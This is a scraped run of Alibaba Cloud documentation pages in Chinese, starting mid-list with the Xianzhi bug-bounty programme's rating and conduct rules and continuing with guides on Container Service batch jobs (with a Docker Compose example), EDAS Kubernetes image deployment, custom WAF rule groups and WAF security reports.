        1. 存在前后关系的漏洞,比如同一人提交的弱口令进入后台,后台SQL注入或者越权的漏洞合并处理,审核可以酌情提高漏洞等级。若已提交,后面又发现,则补充到该漏洞下面,可以提高奖金金额,这里说明下无法注册的系统,获得账号后进入,发现的问题也存在前后关系,需要打包提交;能够正常注册的系统,因为认证等原因导致的存在前后关系的漏洞报告,可以分开提交。
        2. 对于漏洞拆分提交者,由管理员对漏洞进行打包,漏洞等级按打包漏洞中危害最高的计算,奖金按标准的最低额度发放,后期项目分配率会减低。对于严重拆分漏洞,刷漏洞等恶意行为进行冻结账户、甚至封号处理。
        3. 若存在以下情况者,小黑屋1个月。存在前后关系,先提交后者的。例如:发现邮箱弱口令,从邮箱中获知后台管理员密码,提交漏洞时先提交后台弱口令,再提交邮箱弱口令者。
      • 以测试漏洞为借口,利用漏洞进行损害用户利益、影响业务运作、盗取用户数据等行为的,将不会计贡献值,同时先知平台将联合入驻企业保留采取进一步法律行动的权利。

      • 对于提交描述不清的漏洞,将会直接驳回处理;每个漏洞需要明确产生漏洞的URL地址、文字细节、完整的截图、清晰的语言表达。

      • SQL注入需要证明可以注入出一条数据,单纯报错提交会忽略。

      • 弱口令问题(正常对外可注册的系统不算在弱口令范围内):

        1. 对于同一个人发现同一系统的不同的弱口令,将合并处理(如果厂商已经处理了之前的弱口令,后面再次提交的降级处理,第二次以后提交的都会合并处理)。
        2. 对于默认的初始密码,只按照一个漏洞进行处理(比如邮箱的初始密码都是同一个密码,视为一个漏洞)。
        3. 对于非重点系统,审核过程只正常确认该系统的第一个弱口令,后续提交的弱口令酌情忽略处理。
        4. 对于重点系统或者核心业务,在评级过程中只正常确认前2个弱口令,后续的提交弱口令问题酌情降级或者忽略处理。
        5. 对于边缘/废弃业务系统,根据实际情况酌情降级。
      • 存在前后关系的漏洞,比如同一人提交的弱口令进入后台,后台SQL注入的漏洞合并处理,可以提高漏洞等级,希望大家不要拆分漏洞,先知将根据实际情况对严重拆分漏洞,刷漏洞等恶意行为进行冻结账户、甚至封号的处理。

      • 信息泄露类的漏洞如github信息泄露,memcache、redis等未授权访问等,根据存储的内容的有效、敏感程度进行确认评级,单独的危害较低的信息泄露如路径泄露,phpinfo信息泄露等将会忽略处理。

      • 对于已经得到Webshell的情况,如果想打包源代码审计,请事先联系审核人员,审核人员将会与厂商沟通相关事宜,如果厂商同意审计,再进行后续操作,发现的漏洞可单独提交。否则,禁止下载源代码,将视为违规操作、一经发现行冻结账户、甚至封号的处理。

      • 对于使用采用低版本的CMS导致的漏洞,每个漏洞类型只确认第一个提交的安全问题。

      • 切勿进行可能引起业务异常运行的测试,例如:IIS的拒绝服务或者slow_http_dos等漏洞。

      • 前台撞库、爆破类漏洞,需有成功案例证明;后台爆破,仅收取成功登录的案例,仅能爆破但没有进入后台的漏洞将驳回。

      • 对于一些难以利用的安全漏洞,例如:HTTP.sys远程命令执行类漏洞,只确认一个提交的漏洞,评为低危漏洞,只是为了提示厂商做对应的升级。

      • 对于PC端和APP端同一接口同一套代码的两个漏洞(即使域名可能不同),同一白帽子分开提交平台将会合并处理,主动合并会酌情提高奖励;不同的白帽子分别提交,在厂商未修复之前,评为重复漏洞。

      • 对于信息泄露相关漏洞(包括GITHUB,提交的时候请说明,有哪些特征可以证明是某厂商的),可以深入利用造成很大危害的,一般为高危或者严重;对于是厂商线上对外核心应用服务配置、代码等信息泄露,一般为中危;如果不能做出有效利用且非核心业务的的,一般为低危或者驳回处理。

      • 严禁进行内网渗透,安全测试点到为止即可。

      厂商保护机制

      如果同一个系统中短时间发现了大量的同类型高危漏洞(如SQL注入、命令执行等),审核人员判定该系统几乎没有做任何防护,会与厂商沟通该系统的该类型漏洞是否要继续收取;若厂商表示该类漏洞已知不再收取,则平台方正常审核前三个该类型漏洞,发布通知前同系统其他同类型漏洞均降级处理,发布通知后同系统同类型漏洞均不再收取,直到厂商重新开放该漏洞类型收取。对于厂商漏洞修复被绕过或者代码回滚的原因导致漏洞还能被继续利用的,一年内再次提交降级收取。

      注意事项

      • 白帽子在测试SQL注入漏洞时,对于UPDATE、DELETE、INSERT 等注入类型,使用手工测试,禁止直接使用工具测试。

      • 测试过程中,社工企业员工,注意分寸,切勿对个人造成名誉影响。

      • 禁止修改厂商的任何数据,包括数据库内容、账户密码、数据库连接密码等。

      • 不允许使用扫描器对后台系统进行扫描。

      • 对于不在客户测试范围内的系统的测试,属于未授权测试,平台和厂商有权追究其责任。

      • 以上所有漏洞级别可视应用场景再具体定级,如SQL注入涉及到的数据为边缘系统或者测试数据则降低漏洞等级等。

      • 以上所有漏洞级别为厂商参考的基础标准,可视应用业务场景再具体定级,具体定级主要是由厂商反馈而定。

      奖金发放相关

      • 请一定确认好,自己填写的收款账号和姓名一致(不要填写*).

      • 奖金发放周期,对于提交的漏洞,厂商复盘完成后,可以马上发放奖金,最快可做到当天,但是因为厂商结合业务评估或者内部推动需要时间周期,对于超过一个月仍未复盘完成的漏洞,平台会默认先发放奖金(即默认发放周期是一个月)。

      争议解决办法

      在漏洞报告处理过程中,如果报告者对流程处理、漏洞定级、漏洞评分等有异议的,可以通过漏洞详情页面的留言板或者通过即时通讯联系在线工作人员及时沟通。先知平台将按照漏洞报告者利益优先的原则与企业三方协调处理,必要时可引入外部安全人士共同裁定;部分项目为厂商评级,如果为对厂商的评级有争议,平台会根据以上规则和厂商进行约束和沟通,最终的结果还是以厂商的结果为准。

      上一篇:附件一:漏洞收集流程(先知安全情报)

      下一篇:附件三:漏洞奖励发放规则(先知)

      相关文档

      相关产品

      • 先知(安全众测)

        先知计划是一个帮助企业建立私有应急响应中心的平台(帮助企业收集漏洞信息)。企业加入先知计划后,可自主发布奖励计划,激励先知平台的安全专家来测试和提交企业自身网站或业务系统的漏洞,保证安全风险可以快速进行响应和修复,防止造成更大的安全损失。旨在为企业建立高效完善的安全应急响应中心(Security Response Center)。企业通过入驻先知计划漏洞平台,可以通过先知平台众多优质、可信的白帽子及时发现现有业务的安全问题,包括业务逻辑漏洞、权限问题等安全工具无法有效检测的漏洞等,尽早的发现存在的漏洞可以有效的减少公司可能的损失。并且,随着业务的不断发展,也会通过白帽子的持续安全检测来及时发现新业务的安全问题。先知平台会为所有入驻企业的漏洞严格保密,从而避免漏洞被恶意宣传。

      • 安全管家

        阿里云安全管家服务是阿里云安全专家基于阿里云多年安全最佳实践经验为云上用户提供的全方位安全技术和咨询服务,为云上用户建立和持续优化云安全防御体系,保障用户业务安全。

      • 云安全中心

        云安全中心是阿里云云上安全监控和诊断服务,面向云上资产提供安全事件检测、漏洞扫描、基线配置核查等服务。云安全中心结合了阿里自主研发的大数据和机器学习算法,通过多引擎查杀帮助您实时全面了解和有效处理服务器的安全隐患,并实现对云上资产的集中安全管理。 云安全中心帮助您收集并呈现10余种类型的日志和云上资产指纹,并结合网络实体威胁情报进行安全态势分析,扩大安全可见性。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      运行离线任务_应用管理_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 运行离线任务

      更新时间:2019-01-23 00:33:12

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      容器服务抽象出离线计算的基本模型,推出了基于 Docker 容器的离线计算功能。

      其核心功能包括:

      • 作业编排
      • 作业调度与生命周期管理
      • 存储与日志等功能的集成

      基本概念

      下表中列出了离线应用与在线应用的概念对比。

      概念 离线应用 在线应用
      容器 任务执行单元 服务的执行单元
      运行历史 任务出错重试的执行历史
      服务(任务) 一个特定的功能,可以分割成若干个容器来执行 一组功能相同的容器
      应用(作业) 若干个任务的组合 若干个服务的组合

      一个离线作业包含若干个任务,每个任务可以由若干个容器来执行,每个容器可以有多个运行历史;而一个在线应用包含若干个服务,每个服务可以有若干个容器同时服务。

      基于 Docker Compose 的作业编排

      和在线应用一样,您可以使用 Docker Compose 来描述和编排作业。Docker Compose 支持 Docker 的绝大部分功能,比如:

      • CPU、内存等资源限制
      • 数据卷(Volume)
      • 环境变量与标签
      • 网络模型、端口暴露

      除此之外,阿里云容器服务还扩展了以下功能:

      • 容器数量:每个任务分成多少个容器
      • 重试次数:每个容器重试多少次
      • 移除容器:容器运行完后是否删除,可选策略包括 remove-finished(删除完成的容器)、remove-failed(删除失败的容器)、remove-all(删除全部容器)、remove-none(不删除)。
      • DAG 模型的任务依赖:同一个作业的任务之间可以有依赖关系,被依赖的任务会先执行。

      离线作业的 Docker Compose 示例:

      version: "2"
      labels:
        aliyun.project_type: "batch"
      services:
        s1:
          image: registry.aliyuncs.com/jimmycmh/testret:latest
          restart: no
          cpu_shares:  10
          mem_limit: 100000000
          labels:
            aliyun.scale: "10"
            aliyun.retry_count: "20"
            aliyun.remove_containers: "remove-all"
        s2:
          image: registry.aliyuncs.com/jimmycmh/testret:latest
          cpu_shares:  50
          mem_limit: 100000000
          labels:
            aliyun.scale: "4"
            aliyun.retry_count: "20"
            aliyun.remove_containers: "remove-finished"
            aliyun.depends: "s1"

      注意:

      • 该功能只支持 Docker Compose 2.0。
      • 您需要在作业级别添加标签 aliyun.project_type: "batch"。如果您未添加该标签或标签值不为 batch,则认为该应用为在线应用。
      • 无论您将 restart 设置为什么值,都会被修改为 no
      • 您可以用 aliyun.depends 标签指定依赖关系。可以依赖多个任务,用逗号(,)分隔。
      • aliyun.retry_count 的默认值为 3。
      • aliyun.remove_containers 的默认值为 remove-finished

      作业生命周期管理

      容器状态由容器的运行及退出状态决定;任务状态由该任务中所有容器的状态决定;作业状态由该作业的所有任务决定。

      容器状态

      • 运行中(Running):容器在运行。
      • 完成(Finished):容器退出且 ExitCode==0
      • 失败(Failed):容器退出且 ExitCode!=0

      任务状态

      • 运行中(Running):有容器在运行。
      • 完成(Finished):所有容器都完成了。
      • 失败(Failed):有容器失败次数超过给定值。

      作业状态

      • 运行中(Running):有任务在运行。
      • 完成(Finished):所有任务都完成了。
      • 失败(Failed):有任务失败了。

      上述状态都可以通过 API 获取,方便您自动化运维。

      共享存储

      容器之间、任务之间会有数据共享和交换,共享存储可以解决这一问题。比如在 Hadoop上跑 MR 作业,是通过 HDFS 来交换数据的。在容器服务中,可以使用三类共享存储,其特性及应用场景对比如下所示。

      存储 优点 缺点 适用范围
      OSSFS 数据卷 跨主机共享 读写、ls 性能低;修改文件会导致文件重写 共享配置文件;附件上传
      阿里云 NAS 数据卷 跨主机共享;按需扩容; 高性能、高可靠性;挂载速度高 成本略高 需要共享数据的重 IO 应用,如文件服务器等;需要快速迁移的重 IO 应用,如数据库等
      您自己集成成三方存储,如 Portworx 将集群内的云盘虚拟成共享的大磁盘;性能高;snapshot、多拷贝 需要一定运维能力 同 NAS

      具体使用数据卷的帮助,可以参考以下文档:

      集成日志和监控服务

      日志和监控是分析离线作业的重要工具。阿里云容器服务集成了阿里云日志服务与云监控功能,只要在编排模板中添加一个标签,就可以将日志收集到日志服务,将容器的 CPU、内存等数据收集到云监控。具体使用方便请参考下面的文档。

      操作步骤

      1. 登录 容器服务管理控制台并创建一个集群。

        有关如何创建集群的详细信息,参见创建集群

      2. 单击左侧导航栏中的应用并单击右上角的创建应用
      3. 设置应用的基本信息,单击使用编排模板创建
      4. 填入上文中的编排模板并单击创建并部署
      5. 单击应用并单击创建的应用的名称,可以查看应用的运行状态,如下图所示。


      上一篇:删除应用

      下一篇:定时任务

      相关文档

      相关产品

      • 容器服务(已停止服务)

        容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

      • 容器服务Kubernetes版

        容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

      • 容器镜像服务

        容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      通过镜像发布 EDAS 自带 Kubernetes 集群应用_EDAS 自带 Kubernetes 集群应用生命周期管理_历史文档_企业级分布式应用服务 EDAS-阿里云 Fri, 02 May 2025 09:39:04 +0800 通过镜像发布 EDAS 自带 Kubernetes 集群应用

      更新时间:2020-03-22 09:11:20

      本页目录

      用户可以通过使用镜像发布 EDAS 自带 Kubernetes 集群应用,快速获得该镜像中所集成的 Kubernetes 运行环境或软件应用,从而避免发布 Kubernetes 应用的复杂配置等问题。

      相对于 ECS 集群应用和 Swarm 集群应用,EDAS 自带 Kubernetes 集群应用无需部署,创建即发布。

      前提条件

      1. 开通 EDAS 服务
      2. 创建 VPC
      3. 创建 ECS 实例
      4. 创建命名空间
      5. 创建 Kubernetes 集群
      6. 同步 SLB 到 EDAS:仅当需要配置负载均衡时需完成该配置。

      操作步骤

      发布 EDAS 自带 Kubernetes 集群应用的流程如下:

      发布 Kubernetes 应用流程

      1. 登录 EDAS 控制台

      2. 在左侧导航栏中单击应用管理,进入应用列表页面。

      3. 在应用列表页面选择地域(Region)和命名空间(可选),然后在右上角单击创建应用

      4. 应用基本信息页面中设置应用的基本信息和参数。

        创建 K8s 应用-基本信息

        应用基本信息参数说明:(标*的参数为必选参数。)

        • 所在区域:在下拉菜单中选择地域命名空间。命名空间可以选择默认(命名空间)。
        • 部署集群:在下拉菜单中选择一个 Kubernetes 集群。
        • 应用类型:应用类型由部署集群决定,选择了 Kubernetes 集群,应用类型则为 Kubernetes 应用,不可配置。
        • 应用名称:输入应用名称。
        • 应用描述:填写应用的基本情况。
      5. 设置完成后,单击下一步:应用配置

      6. 应用配置页面配置镜像。

        1. 应用部署方式选择镜像

        2. 配置镜像区域选择具体镜像。

          配置镜像

          镜像包含我的镜像官方 (镜像) 两种。

          • 我的镜像:根据实际需求,创建并上传到阿里云 Docker registry 的镜像。上传镜像请参考:上传用户镜像

            单击我的镜像,选择地域,然后在该地域中选择具体镜像版本,单击选择

            注意

            • 镜像有 PUBLIC 和 PRIVATE 两种类型。当选择 Private 时,会弹出对话框,需要输入登录该私有镜像仓库的用户名和密码。

              登录私有镜像仓库

            • 建议您在创建应用所在的地域内选择镜像。当有特殊需求,需要跨地域选择镜像,镜像选择完成后,会有一个镜像同步的过程,请稍等片刻。

          • 官方镜像:阿里云为您提供多种 ( Nginx、MySQL、Redis、WordPress 和 MongoDB 等) 类型的标准镜像。

            单击官方,选择镜像类型版本

          说明:镜像选择完成后,配置镜像区域会自动折叠。所选的镜像会显示在配置镜像右侧。

      7. 设置 Pod。

        Pod 是应用最小的部署单元。应用可以有多个 Pod,在负载均衡下,请求会被随机分配给某个 Pod 处理。

        设置 Pod

        1. 设置 Pod 总数

          说明:Pod 在运行失败或出现故障时,可以自动重启或者快速迁移,保证应用的高可用。有状态应用如果使用了持久化存储,能保存实例数据;无状态应用重新部署时不保存实例数据。

        2. 设置单 Pod 资源配额

          系统默认不做配额限制,即单 Pod 的 CPU 和 Memory 显示为 0。如果需要限制配额,请填设置数字。

      8. 设置启动命令和启动参数。

        注意:若不了解原 Dockerfile 镜像的 CMDENTRYPOINT 内容,不建议修改自定义启动命令和启动参数,错误的自定义命令将导致应用创建失败。

        设置启动命令

        • 启动命令:仅需输入[“”]内的内容,如命令 CMD [“/usr/sbin/sshd”,”-D”] ,仅需填写 /usr/sbin/sshd –D
        • 启动参数:一个参数写一行。如 args:[“-c”; “while sleep 2”; “do echo date”; “done”] 中包含 4 个参数,需要分为 4 行来填写。
      9. 设置环境变量。

        在创建应用过程中,将所填环境变量注入到即将生成的容器中,这样可以避免常用环境变量的重复添加。

        设置环境变量

        环境变量参数说明:

        假如您使用 MySQL 镜像时,可以参考如下环境变量:

        • MYSQL_ROOT_PASSWORD 用于设置 MySQL 的 root 密码,必选项
        • MYSQL_USER 和 MYSQL_PASSWORD 用于添加除 root 之外的账号并设置密码,可选项。
        • MYSQL_DATABASE 用于设置生成容器时需要新建的数据库,可选项。

        其它类型的镜像,请根据实际需求进行配置。

      10. 适用于有状态应用)设置应用生命周期管理脚本。

        EDAS 自带 Kubernetes 集群应用有两种状态:

        • 无状态应用:支持多副本部署。重新部署时不保存实例数据。适用于以下使用场景:

          • Web 应用,应用升级或迁移时,实例内数据不保留。
          • 需要灵活水平扩展,以应对业务量骤然变化的应用。
        • 有状态应用:区别于无状态应用,有状态应用会存储需要持久化的数据,在应用升级或迁移时,实例内数据不会丢失。适用于以下使用场景:

          • 需要频繁通过 SSH 到容器进行操作。
          • 数据需要持久化存储(如数据库应用 MySQL 等),或者集群之间有选举特性,服务发现的应用,如 ZooKeeper,etcd等。

        有状态应用可以选择设置应用生命周期管理。

        应用生命周期管理

        生命周期管理脚本说明:

      11. 适用于有状态应用)设置持久化存储

        启用持久化存储后,可以保证应用升级或迁移时,实例数据不丢失。

        说明:设置持久化存储后,系统会为您购买文件存储服务(NAS),按实际使用量付费,详细收费标准请参考 NAS 价格说明

        配置持久化存储

        • 存储类型:文件存储服务(即 NAS,面向阿里云 ECS 实例、HPC 和 Docker 的文件存储服务)。提供标准的文件访问协议,您无需对现有应用做任何修改,即可使用具备无限容量及性能扩展、单一命名空间、多共享、高可靠和高可用等特性的分布式文件系统。
        • 存储服务类型:SSD 性能型。使用 SSD 作为存储介质,为应用的工作负载提供高吞吐量与 I/OPS、低时延的存储性能。
        • 挂载目录:选择 NAS 容器的挂载路径,用于对容器里的目录进行持久化存储。
      12. 设置完成后,单击下一步:应用访问设置

      13. (可选)在应用访问设置页面开启负载均衡设置,然后设置私网/公网 SLB 端口容器端口网络协议

        负载均衡是 TCP/UDP 设置。可以配置多个端口映射,用于多端口监听。

        • 私网负载均衡:保证同 VPC 内都可访问该应用。
        • 公网负载均衡:设置公网负载均衡后,系统会为该应用自动购买一个公网 SLB 服务,保证该应用能被公网访问。

        说明:负载均衡按使用量计费,购买后的 SLB 信息可以在负载均衡控制台查看。

        设置负载均衡

        负载均衡参数说明:

        • 负载均衡端口:指的是私网/公网负载均衡前端端口,通过该端口访问应用。如 Nginx 默认端口为 80。
        • 容器端口:进程监听的端口。一般由程序定义,例如:Web 服务默认使用 80/8080 端口,MySQL 服务默认使用 3306 端口等。容器端口可以和 SLB 设置相同的端口。
        • 网络协议:可选 TCP 或 UDP 协议。
      14. (可选)设置 HTTP 流量转发策略

        当您选择用于创建无状态应用的镜像,例如官方镜像,且符合如下场景时,需要配置 HTTP 流量转发策略。

        • 单应用或多应用有相同域名不同路径流量转发需求
        • 单应用或多应用有不同域名流量转发的需求(不同域名解析的访问 IP 是同一个)
        • 灰度发布的流量转发需求
        1. 设置应用发布地址。

          • 地址类型:公网或私网。
          • 新建/复用发布 IP:如果选择新建,则系统会生成 SLB 的 IP;如果选择复用已有,则在发布 IP列选择一个已有的 SLB IP。
          • 发布端口:设置该 SLB 的端口。
          • 网络协议:默认为 HTTP,不可配置。
        2. 设置应用访问规则。

          • 域名:流量转发的匹配域名。由英文字母、数字、中划线“-”和点“.”组成,域名不区分英文大小写,不支持泛域名定义。
          • Path:流量转发的匹配路径。长度限制为 1~80 个字符。path 以’/‘开头,后面由字母,数字,’-‘、’/‘、 ‘.’、’%’、‘?’、’#’、’&’、‘_’、这些字符的0个或多个组成。
          • 容器端口:应用进程监听的端口。
      15. 设置完成后,单击确认创建

      结果验证

      应用创建可能需要几分钟,创建过程中,可以通过变更流程问题排查指南跟踪创建的过程。创建完成后,返回应用详情页面查看基本信息中应用状态是否为运行正常

      EDAS 自带 Kubernetes 集群应用无需部署,创建成功即发布成功了。

      查看应用状态

      上一篇:创建 Kubernetes 集群

      下一篇:通过 WAR/JAR 包发布 Kubernetes 应用

      相关文档

      相关产品

      • 企业级分布式应用服务 EDAS

        企业级分布式应用服务(Enterprise Distributed Application Service, 简称 EDAS)以阿里巴巴中间件团队多款久经沙场的分布式产品作为核心基础组件,面向企业级云计算市场提供高可用分布式解决方案,是阿里巴巴企业级互联网架构解决方案的核心产品。EDAS 充分利用阿里云的资源管理和服务体系,引入阿里巴巴中间件整套成熟的分布式产品,帮助企业级客户轻松构建大型分布式应用服务系统。

      • Serverless 应用引擎

        Serverless 应用引擎(Serverless App Engine,简称 SAE) 让您无需管理和维护集群与服务器,即可快速创建应用。使用 SAE,您可以专注于设计和构建应用程序,而不用管理运行应用程序的基础设施。您只需为部署在 SAE 上的应用所实际使用的 CPU 和内存资源量进行按需付费,不用为闲置的资源付费。

      • 应用配置管理 ACM

        应用配置管理(Application Configuration Management,简称 ACM),是一款在分布式架构环境中对应用配置进行集中管理和推送的工具类产品。基于该产品,您可以在微服务、DevOps、大数据等场景下极大地减轻配置管理的工作量,增强配置管理的服务能力。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      自定义防护规则组_防护配置_Web 应用防火墙-阿里云 Fri, 02 May 2025 09:39:04 +0800 自定义防护规则组

      更新时间:2020-04-24 15:01:33

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      防护规则组允许您使用Web应用防火墙的内置防护规则自由搭建防护规则集合,针对对应防护功能,例如Web攻击防护(正则防护引擎),创建有针对性的防护策略。在设置网站防护功能时,如果默认的防护规则组不能满足您的需求,建议您使用自定义防护规则组。

      前提条件

      已使用包年包月的方式开通了Web应用防火墙实例,且实例规格满足以下条件之一:
      • 如果实例地域是中国内地,则实例套餐必须是企业版、旗舰版。
      • 如果实例地域是海外地区,则实例套餐必须是旗舰版。

      背景信息

      目前仅Web攻击防护(新版防护引擎中对应正则防护引擎)支持防护规则组,即您可以自定义Web攻击防护(正则防护引擎)功能的防护规则组。关于Web攻击防护(正则防护引擎)的更多信息,请参见设置正则防护引擎

      在自定义防护规则组前,建议您查看并熟悉Web应用防火墙的内置防护规则,判断需要将哪些规则组合作为防护规则组。更多信息,请参见查看内置规则集

      防护规则组的使用流程如下:

      1. 添加防护规则组:为对应防护功能添加自定义防护规则组。您可以从Web应用防火墙的内置规则集中选择要应用的规则,自由组合生成自定义防护规则组,形成有针对性的防护策略。
      2. 应用防护规则组:已添加自定义防护规则组后,您可以为网站域名应用自定义防护规则组。

      查看内置规则集

      1. 登录Web应用防火墙控制台
      2. 在顶部导航栏,选择Web应用防火墙实例的资源组和地域(中国内地海外地区)。
      3. 可选:防护规则组页面,单击要操作的防护功能页签。

        说明 由于目前仅Web攻击防护正则防护引擎)支持防护规则组,页面自动跳转到Web攻击防护页签,该步骤无需操作。

      4. 单击内置规则集页签,查看对应防护功能的内置规则集。web攻击防护内置规则集

        您可以使用筛选和搜索功能查询规则,例如通过防护类型应用类型危险等级筛选规则,或者输入规则名称、ID搜索规则。

        每条Web攻击防护(正则防护引擎)规则包含以下信息:

        • 规则:规则的名称。
        • 规则ID:规则的ID。
        • 危险等级:规则防御的Web攻击的危险等级,包括高危中危低危
        • 应用类型:规则防护的Web应用类型,包括通用WordpressDedecmsDiscuzPhpcmsEcshopShopexDrupalJoomlaMetinfoStruts2Spring BootJbossWeblogicWebsphereTomcatElastic SearchThinkphpFastjsonImageMagickPHPwindphpMyAdmin其它
        • 防护类型:规则防御的Web攻击类型,包括SQL注入跨站脚本代码执行CRLF本地文件包含远程文件包含webshellCSRF其它
        • 规则描述:规则的详细信息,例如规则防御的Web攻击的具体描述、规则的检测命令、在哪些选择器上执行检测等。

      添加防护规则组

      1. 登录Web应用防火墙控制台
      2. 在顶部导航栏,选择Web应用防火墙实例的资源组和地域(中国内地海外地区)。
      3. 可选:防护规则组页面,单击要操作的防护功能页签。

        说明 由于目前仅Web攻击防护正则防护引擎)支持防护规则组,页面自动跳转到Web攻击防护页签,该步骤无需操作。

      4. 可选:单击防护规则组页签。

        Web攻击防护防护规则组列表罗列了Web攻击防护(正则防护引擎)的默认防护规则组和自定义防护规则组,其中规则组1011严格规则)、1012中等规则)、1013宽松规则)表示默认的Web攻击防护(正则防护引擎)防护规则组。web攻击防护默认规则组

      5. 手动添加规则组。
        1. 单击添加规则组

          说明 您最多可以手动添加10条Web攻击防护(正则防护引擎)防护规则组。

        2. 添加规则组页面,完成规则组配置。添加规则组

          参数 描述
          规则组名称 设置规则组的名称。

          规则组名称用于标识当前规则组,建议您使用有明确含义的名称。

          规则描述 添加规则组的描述信息。
          规则 从所有Web攻击防护规则集中选择规则,添加到当前规则组。

        3. 单击确定

          成功添加自定义防护规则组后,您可以在规则组列表中查看新建的规则组。

      应用防护规则组

      已添加自定义防护规则组后,您可以使用以下任意一种方式应用自定义防护规则组:

      • 防护规则组页面为网站应用自定义防护规则组。以下操作步骤以此为例进行描述。
      • 网站防护页面设置对应的防护功能时,选择应用自定义防护规则组。

        例如,设置Web攻击防护(正则防护引擎)时,您可以在防护规则组菜单中选择自定义的Web攻击防护规则组。更多信息,请参见设置正则防护引擎

        防护规则组

      1. 登录Web应用防火墙控制台
      2. 在顶部导航栏,选择Web应用防火墙实例的资源组和地域(中国内地海外地区)。
      3. 可选:防护规则组页面,单击要操作的防护功能页签。

        说明 由于目前仅Web攻击防护正则防护引擎)支持防护规则组,页面自动跳转到Web攻击防护页签,该步骤无需操作。

      4. Web攻击防护防护规则组列表中,定位到要应用的防护规则组,单击其操作列下的应用到网站
      5. 选中需要应用当前防护规则组的网站域名,单击确定

        注意 每个网站域名仅支持应用一个防护规则组,且必须应用一个防护规则组。

        应用到网站

        完成操作后,您可以在防护规则组列表的应用网站列查看规则组应用生效的网站域名。

      相关操作

      防护规则组页面,您可以对已有规则组执行以下操作:

      • 复制:复制某个规则组的规则配置。

        复制规则组的配置页面如下图所示,其中您可以修改规则组名称规则描述,不可以修改规则配置。如果您需要修改规则配置,建议您在复制完成后,编辑通过复制添加的规则组。

        添加规则组-复制
      • 编辑:编辑自定义防护规则组的名称、描述和规则配置。

        说明 默认规则组不支持编辑。

      • 删除:删除自定义防护规则组。

        说明 默认规则组不支持删除。

        删除自定义防护规则组前,请确保规则组未被应用到任何网站上。如果需要删除的规则组被应用到网站上,您必须先为网站应用其他规则组,才能删除当前规则组。

      上一篇:账户安全

      下一篇:开启IPv6防护

      相关文档

      相关产品

      • Web 应用防火墙

        云盾Web应用防火墙(Web Application Firewall, 简称 WAF)基于云安全大数据能力实现,通过防御SQL注入、XSS跨站脚本、常见Web服务器插件漏洞、木马上传、非授权核心资源访问等OWASP常见攻击,过滤海量恶意CC攻击,避免您的网站资产数据泄露,保障网站的安全与可用性。

      • DDoS防护

        针对DDoS攻击,阿里云提供了多种安全解决方案供您选择,满足不同DDoS防护需求。

      • 云安全中心

        云安全中心是阿里云云上安全监控和诊断服务,面向云上资产提供安全事件检测、漏洞扫描、基线配置核查等服务。云安全中心结合了阿里自主研发的大数据和机器学习算法,通过多引擎查杀帮助您实时全面了解和有效处理服务器的安全隐患,并实现对云上资产的集中安全管理。 云安全中心帮助您收集并呈现10余种类型的日志和云上资产指纹,并结合网络实体威胁情报进行安全态势分析,扩大安全可见性。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      步骤4:查看安全报表_快速入门(旧版引擎)_Web 应用防火墙-阿里云 Fri, 02 May 2025 09:39:04 +0800 步骤4:查看安全报表

      更新时间:2019-06-13 11:48:43

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      网站接入Web应用防火墙(WAF)后,您可以在WAF控制台查看网站的安全防护数据和风险信息,用于业务分析。

      操作步骤

      1. 登录云盾Web应用防火墙控制台
      2. 在页面上方选择地域:中国大陆海外地区
      3. 前往统计 > 总览页面,查看业务安全概览信息。

        支持查看的业务概览信息包括以下内容:

        • 近30天内的业务请求数量统计图(总QPS和各防护功能拦截的QPS)
        • 近30天内的业务带宽统计图(入带宽和出带宽)
        • 近30天内的业务异常响应数量统计图
        • 访问来源地域分布统计(访问来源区域TOP5、访问来源IP TOP10)
        • 访问源系统类型分布统计(移动端OS、PC端浏览器)
        • 响应时间最长的TOP5 URL
        • 被访问次数最多的TOP5 URL

        支持查看的安全概览信息包括以下内容:

